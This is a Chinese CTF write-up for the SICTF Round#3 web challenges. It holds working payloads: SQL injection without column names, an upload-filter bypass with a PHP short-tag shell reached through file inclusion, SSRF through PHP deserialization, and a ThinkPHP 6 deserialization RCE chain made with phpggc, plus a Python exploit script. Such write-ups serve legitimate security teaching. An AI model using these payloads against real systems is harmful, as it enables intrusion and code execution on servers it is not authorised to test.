当前位置:   article > 正文

SICTF Round#3 wp web

SICTF Round#3 wp web

web

hacker

sql无列名注入;

提示查询username参数,flag在flag表中;

传参测试发现,union select 可用,空格被过滤可以使用/**/代替 ,or也被过滤了且无法大小写、双写等绕过,导致无法查询flag表里的字段名,需注意flag在flag表中并不是flag字段,直接联合查询flag表的flag字段查询不到flag,因此就可以想到sql无列名注入,只需知道表名不用知道字段名即可查询字段的数据,payload如下;

?username=joe'union/**/select/**/a/**/from/**/(select/**/1,2/**/as/**/a/**/union/**/select/**/*/**/from/**/flag)/**/as/**/q%23

无列名注入获取flag表中数据;

100%_upload

文件上传+文件包含;

进入容器,文件上传界面,且一看url就猜测存在文件包含;

尝试file://协议读取/etc/passwd文件成功,存在文件包含,直接读取/flag提示不能直接获取,所以读取upload.php文件;

index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

base64解码upload.php源码如下;

  1. <?php
  2. if(isset($_FILES['upfile'])){
  3. $uploaddir = 'uploads/';
  4. $uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
  5. $ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);
  6. $text = file_get_contents($_FILES['upfile']['tmp_name']);
  7. echo $ext;
  8. if (!preg_match("/ph.|htaccess/i", $ext)){
  9. if(preg_match("/<\?php/i", $text)){
  10. echo "茂夫说:你的文件内容不太对劲哦<br>";
  11. }
  12. else{
  13. move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
  14. echo "上传成功<br>路径为:" . $uploadfile . "<br>";
  15. }
  16. }
  17. else {
  18. echo "恶意后缀哦<br>";
  19. }
  20. }
  21. ?>

发现过滤了ph、htaccess后缀且文件内容不可有php标签,进行标签绕过、上传图片并配合文件包含即可;

  1. # 上传1.png
  2. ?><?=`cat /flag`;

包含uploads/1.png获取flag;

EZ_SSRF

简单的ssrf,index.php源码如下;

  1. <?php
  2. highlight_file(__file__);
  3. error_reporting(0);
  4. function get($url) {
  5. $curl = curl_init();
  6. curl_setopt($curl, CURLOPT_URL, $url);
  7. curl_setopt($curl, CURLOPT_HEADER, 0);
  8. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  9. $data = curl_exec($curl);
  10. curl_close($curl);
  11. echo base64_encode($data);
  12. return $data;
  13. }
  14. class client{
  15. public $url;
  16. public $payload;
  17. public function __construct()
  18. {
  19. $url = "http://127.0.0.1/";
  20. $payload = "system(\"cat /flag\");";
  21. echo "Exploit";
  22. }
  23. public function __destruct()
  24. {
  25. get($this->url);
  26. }
  27. }
  28. // hint:hide other file
  29. if(isset($_GET['Harder'])) {
  30. unserialize($_GET['Harder']);
  31. } else {
  32. echo "You don't know how to pass parameters?";
  33. }
  34. ?>
  35. You don't know how to pass parameters?

ssrf,配合php反序列化使用file://协议即可读取本地文件,dirsearch目录扫描发现admin.php和flag.php;

方法一,直接读取flag.php并base64解码即可获取flag;

  1. <?php
  2. class client{
  3. public $url = 'file:///var/www/html/flag.php';
  4. public $payload;
  5. }
  6. echo serialize(new client());
  7. ?>
  8. # payload
  9. O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}

 方法二,读取admin.php源码如下,发现本地访问admin.php即可获得flag;

  1. <?php
  2. error_reporting(0);
  3. include "flag.php";
  4. highlight_file(__FILE__);
  5. $allowed_ip = "127.0.0.1";
  6. if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
  7. die("You can't get flag");
  8. } else {
  9. echo $flag;
  10. }
  11. ?>

ssrf访问本地admin.php,将返回结果base64解码获得flag;

  1. <?php
  2. class client{
  3. public $url = 'http://127.0.0.1/admin.php';
  4. public $payload;
  5. }
  6. echo serialize(new client());
  7. ?>
  8. # payload
  9. O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}

Oyst3rPHP

ThinkPHP v6.0.x 反序列化漏洞的利用;

app/controller/Index.php部分源码如下,只需绕过三个if判断即可传参进行反序列化;

  1. class Index extends BaseController
  2. {
  3. public function index()
  4. {
  5. echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
  6. echo "<img src='../Oyster.png'"."/>";
  7. $payload = base64_decode(@$_POST['payload']);
  8. $right = @$_GET['left'];
  9. $left = @$_GET['right'];
  10. $key = (string)@$_POST['key'];
  11. if($right !== $left && md5($right) == md5($left)){
  12. echo "Congratulations on getting your first oyster";
  13. echo "<img src='../Oyster1.png'"."/>";
  14. if(preg_match('/.+?THINKPHP/is', $key)){
  15. die("Oysters don't want you to eat");
  16. }
  17. if(stripos($key, '603THINKPHP') === false){
  18. die("!!!Oysters don't want you to eat!!!");
  19. }
  20. echo "WOW!!!Congratulations on getting your second oyster";
  21. echo "<img src='../Oyster2.png'"."/>";
  22. @unserialize($payload);
  23. //最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
  24. //在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
  25. //小Tips:细狗函数┗|`O′|┛ 嗷~~
  26. }
  27. }

第一个if,使用2个MD5加密后0e开头的字符串绕过MD5值弱比较;

?left=s878926199a&right=QNKCDZO

第二、三个if,key值需包含603THINKPHP且不符合正则匹配,使用php正则的回溯绕过,回溯次数大于1000000时返回Flase;

  1. # post传参
  2. key=1000000个任意字符拼接603THINKPHP

 ThinkPHP v6.0.x 反序列化,直接使用工具生成payload进行rce即可,工具phpgcc:https://github.com/ambionics/phpggc

将phpgcc解压到kali执行如下命令生成rce的payload;

  1. ./phpggc ThinkPHP/RCE3 system "cat /Oyst3333333r.php" --base64
  2. ###
  3. 其中app/controller/Index.php中进行了base64解码,这里要编码
  4. /Oyst3333333r.php为flag的位置,在/vendor/topthink/think-orm/src/Model.php中也有提示

最终利用exp如下;

  1. import requests
  2. import re
  3. url = 'http://yuanshen.life:37859/?left=s878926199a&right=QNKCDZO'
  4. key = 'a' * 1000000 + '603THINKPHP'
  5. data = {
  6. 'payload': 'Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319',
  7. 'key': key}
  8. res = requests.post(url, data=data)
  9. flag = re.search(r'SICTF{.*}', res.text).group()
  10. print(flag) # SICTF{01a44fce-57db-4ccd-9bbb-dce5301eca92}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/118967
推荐阅读
相关标签
  

闽ICP备14008679号